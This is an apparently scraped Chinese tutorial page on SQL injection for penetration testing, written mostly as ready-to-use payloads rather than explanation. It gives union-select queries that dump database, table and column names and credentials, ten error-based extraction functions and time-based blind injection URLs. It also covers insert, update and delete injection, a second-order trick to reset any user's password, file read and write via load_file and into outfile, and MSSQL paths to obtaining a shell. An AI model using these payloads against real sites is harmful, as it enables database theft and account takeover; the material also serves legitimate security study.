渗透之路基础 -- SQL注入
mysql注入(上)
获取字段数:order by x 去临界值
获取数据库名:database()
获取数据库版本:version()
information_schema : mysql5.0版本以上自带数据库,记录当前mysql下的所有数据库名,表名,列名。
information_schema.tables : 记录表名信息的表
information_schema.columns : 记录列名信息的表
table_name 表名
column_name 列名
schema_tables 数据库名
数据库 "." 代表下一级的意思
limit 有两个参数 limit 2,3 表示从2开始查3条
通过MySql内置数据库获取表名
union select 1,group_concat(table_name),user(),4,5,6,7 from information_schema.tables where table_schema=database()
通过MySql内置数据库获取表名对应的列名
union select 1,group_concat(column_name),user(),4,5,6,7 from information_schema.columns where table_name='users'
mysql注入(中)
数据库用户 user()
操作系统 @@version_compile_os
SQL常用函数
| 函数名称 | 函数说明 |
|---|---|
| MID(要截取的字符串,起始位置,结束位置) | 截取字符串 |
| CHAR(ASCII) | 返回ASCII码对应的字符 |
| ASCII(字符) | 返回字符对应的ASCII码 |
| IF(逻辑表达式,返回值1,返回值2) | 用于判断 |
| SUBSTR(要截取的字符串,起始位置,结束位置) | 截取字符串 |
| LENGTH(字符串) | 返回字符串长度 |
| COUNT(列名) | 返回当前列名下有效记录数 |
| SLEEP(s) | 静止s秒,数字类型,可自定义 |
| #、/**/、-- | 注释符 |
| CONCAT(字符串1,字符串2..) | 拼接字符串 |
| LOAD_FILE(文件名称) | 加载文件 |
| INTO OUTFILE ‘文件名称’ | 输出 |
常用十大报错函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
mysql注入文件操作(root权限)
load_file() 文件读取 |select load_file('C:/xx');
添加普通用户
insert into mysql.user(Host,User,Password) values('127.0.0.1','user',passwrod('user'));
CREATE USER 'user'@'%' IDENTIFIED BY 'user';
赋予权限 GRANT ALL ON book.* TO 'user'@'%';
删除用户 drop user 'user'@'%'
root 用户下的读取

user 用户下读取

读取不到文件检查secure_file_priv:

show global variables like '%secure%
修改mysql.ini 文件,在[mysqld] 下加入
secure_file_priv =
重启mysql

into outfile ' ' 写入函数 |select '123' into outfile 'C:/xx';
网站路径获取
1、报错显示 warning
2、谷歌黑客
3、读取配置文件
4、漏洞报错
5、遗留文件
6、字典猜解
注意路径符号及编码
转换工具(小葵多功能转换工具)
mysql注入(下)
防注入,
魔术引号 magic_quotes_gpc


安全函数 addslashes
解决:编码绕过或宽字节注入


高权限跨库注入
条件:root权限
获取所有数据库名
select schema_name from information_schema.schemata

被转义,利用十六进制转换
获取所有表名 table_schema=0x787373('xss')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,table_name,5,6,7,8 from information_schema.tables where table_schema=0x787373
获取所有列名 table_name=0x6F635F75736572('oc_user')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,column_name,5,6,7,8 from information_schema.columns where table_name=0x6F635F75736572

获取指定数据 from xss.oc_user
http://192.168.207.128/test/sqlin.php?x=1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user

注意点:
跨库查表:库名.表名
提交方式注入
<?php
$a=$_GET['x']; // 接受get请求方式的参数x
$b=$_POST['y']; // 接受post请求方式的参数y
$c=$_COOKIE['z']; // 接受cookie请求方式参数z
echo $a."<hr>";
echo $b."<hr>";
echo $c."<hr>";
?>


POST登录框注入
可以将注入代码写入输入框
COOKIE验证注入
(burp抓包)
HTTP头注入
实际情况下,有部分站点接受数据是以http数据包中的http头部进去的数据接受,所以测试注入需要在头进行注入
例如源码为:

通过burp修改 http 头注入:


参数类型注入
数字,字符,搜索型
数字型:
id = 1
字符:
id = 'admin' //单引号的处理
搜索型:
id like '%admin%'
组合:id = admin%' union select 1,2 '%
参数加解密注入
base64
假设源码:
$id=base64_decode($_GET['x']);


转换之后 1 的base64为 MQ==

加密注入,需要将注入代码通过base64加后注入
1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
# base64加密后
MSB1bmlvbiBzZWxlY3QgdXNlck5hbWUsMiwzLHVzZXJQd2QsNSw2LDcsOCBmcm9tIHhzcy5vY191c2Vy

盲注攻击
普通联合注入和盲注区别
pt:效率高,兼容差
盲注:效率较低,兼容性强
工具采用的基本为盲注
盲注通过if + >或< 二分法提高效率
--基于时间的延迟注入(上)
sleep()
select * from users where user_id=1 and sleep(1);

if(条件,True,False)

mid(str,1,1) 截取

ord 编码(ascii)
length 长度

应用

http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))
若没猜对数据库名,则会延迟

--基于时间的延迟注入(下)
猜表名:
length 长度
http://192.168.207.128/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=4,0,5)),5,6,7,8 from
information_schema.tables where table_schema=database() limit 0,1
# limit 分页

mid(str,1,1) 截取

# 表全名称为 users
# mid(str,1,1) 从第一位开始截取一个字符
select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1;
ord 编码(ascii)

# 结合mid截取出的字符 以ASCII码输出
# 表名 users
select ord(mid(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1;
综合应用
# 用字符验证
union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# 用ASCII验证
union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from
information_schema.tables where table_schema=database() limit 0,1
猜列名类似
--基于布尔逻辑注入
--基于报错提示注入
参考文章https://websec.ca/kb/sql_injection
insert注入
$user=$_GET['u'];
$sql="INSERT INTO users (id,username,password) values (2,'$user','123456')";
Mysql_query($sql);
利用updatexml()获取数据
利用extractvalue()获取数据
利用name_const()获取数据
利用子查询注入获取数据
or updatexml(1,concat(0x7e,(version())),0) or
insert into users (id,username,password) values (2,'admin' or updatexml(1,concat(0x7e,(version())),0) or'','Nervo');
or extractvalue(1,concat(0x7e,database())) or
or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or
update注入
用户注册,密码修改,信息删除
1、sql注入组合拼接,保证sql语句正常运行
2、sql语句中闭合使用(符号或截断)
3、每个不同注入方式和网站应用功能有关
update users set password='nicky' or
updatexml(2,concat(0x7e,(version())),0) or'' where id=2 and username='user';
update users set password='nicky' or
extractvalue(1,concat(0x7e,database())) or'' where id=2 and username='user';
update users set password='nicky' or
(select * from (select(name_const(version(),1)),name_const(version(),1))a) or'' where id=2 and username='user';
delete limit 注入
delete from users where id=2 or update users set password='nicky' or'';
delete from users where id=2 or extractvalue(1,concat(0x7e,database())) or'';
delete from users where id=2 or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or'';
Access 联合及逐字猜解
<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>
1、猜解同mysql
猜不到:
字典收集(社工)
Access 偏移注入
猜解字典工具:明小子Domain
2、access 攻击片段--逐字猜解 // 兼容好
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名)
查数据:
1、确定长度
2、确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
工具 啊 D
注入工具
啊D,明小子,穿山甲,萝卜头havij,sqlmap
Access 常见复杂及问题注入
表名,列名无法获取
1、社工,对比网站url
www.xxx.com/pw_news.asp
表名:pw_admin,pw_manage,pw_system
2、列名无法获取
access偏移注入,社工,后台源码中参数名

工具制作原理:
字典爆破,逐字猜解
偏移注入:表名知道即可
1、用 “*” 代替字段,

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 逐个删除,


* 可以看作字段数
* = 6个字符
2 x * = 12字符
22 - 12=10 字符
若在减6个 还是不出现

添加一句:from (admin as a inner join admin as b on a.id=b.id)(一级注入)

一级偏移
select 1,2,3,4,5,6,7,8,9,10 from (admin as a inner join admin as b on a.id=b.id)
二级偏移
select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

经典二次注入

注册用户,修改密码
修改密码语句基本为,
update users set password='111111' where username='test' and password='123456'
存在二次注入:
test为攻击目标用户
提前注册好 用户名为 test'#
直接修改任意用户
语句为:update users set password='111111' where username='test' #' and password='123'
原理:# 截断,后面语句失效
MSSQL注入点攻击分类
分注入点权限渗透:思路
sa权限
执行命令 文件管理 数据库管理等
拿shell
文件列举及写入
密码获取后台拿shell
执行命令提权
db权限
文件读取 单个数据库管理
密码获取后台拿shell
public权限
单个数据库管理
密码获取后台拿shell
渗透之路基础 -- SQL注入的更多相关文章
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- 渗透之路基础 -- XXE注入漏洞
XXE漏洞 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件, ...
- 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级
[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...
- Web渗透测试入门之SQL注入(上篇)
题记: 本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得.相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门 ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- 基础SQL注入
预备知识对mysql数据库有一定了解:对基本的sql语句有所了解:对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等 基本步骤1. 判断是什么类型注入,有 ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- 渗透之路基础 -- 服务端请求伪造SSRF
简介:SSRF 服务器端请求伪造,有的大型网站在web应用上提供了从其他服务器获取数据的功能.使用户指定的URL web应用获取图片,下载文件,读取文件内容.通常用于控制web进而探测内网服务以及攻击 ...
随机推荐
- 利用百度AI OCR图片识别,Java实现PDF中的图片转换成文字
序言:我们在读一些PDF版书籍的时候,如果PDF中不是图片,做起读书笔记的还好:如果PDF中的是图片的话,根本无法编辑,做起笔记来,还是很痛苦的.我是遇到过了.我们搞技术的,当然得自己学着解决现在的痛 ...
- MVC+EFCore 完整教程18 -- 升级分布视图至 View Component
之前我们详细介绍过分布视图(partial view),在有一些更加复杂的场景下,.net core为我们提供了更加强大的组件 view component, 可以认为view component是 ...
- Unity AR Foundation 和 CoreML: 实现手部的检测和追踪
0x00 前言 Unity的AR Foundation通过上层抽象,对ARKit和ARCore这些底层接口进行了封装,从而实现了AR项目的跨平台开发能力. 而苹果的CoreML是一个可以用来将机器学习 ...
- MySql(Windows)
百度云:链接:http://pan.baidu.com/s/1nvlSzMh 密码:o1cw 官网下载网址:http://dev.mysql.com/downloads/mysql/
- 正则与sed,grep,awk三剑客
系统登录顺序: /etc/profile /etc/profile.d/a.sh (a.sh自己建的) /root/.bash_profile /root/.bashrc /etc/bashrc /b ...
- python面向对象-封装-property-接口-抽象-鸭子类型-03
封装 什么是封装: # 将复杂的丑陋的隐私的细节隐藏到内部,对外提供简单的使用接口 或 # 对外隐藏内部实现细节,并提供访问的接口 为什么需要封装 1.为了保证关键数据的安全性 2.对外部隐藏内部的实 ...
- python下载报错:Could not install packages due to an EnvironmentError: [WinError 5] 拒绝访问
更新pip模块的版本:python -m pip install --upgrade pip 但是遇到报错提示: Could not install packages due to an Enviro ...
- jango简介
Django简介 Django框架简介 MVC框架和MTV框架 MVC,全名是Model View Controller,是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Mode ...
- session对象和cookie对象的区别
1.cookie数据存放在客户的浏览器上,session数据放在服务器上2.cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗考虑到安全应当使用session3.ses ...
- 在 Windows 上搭建 PHP 网站
PHP(全称:PHP:Hypertext Preprocessor,即“PHP:超文本预处理器”)是一种开源的通用计算机脚本语言,尤其适用于网络开发并可嵌入HTML中使用.PHP的语法借鉴吸收C语言. ...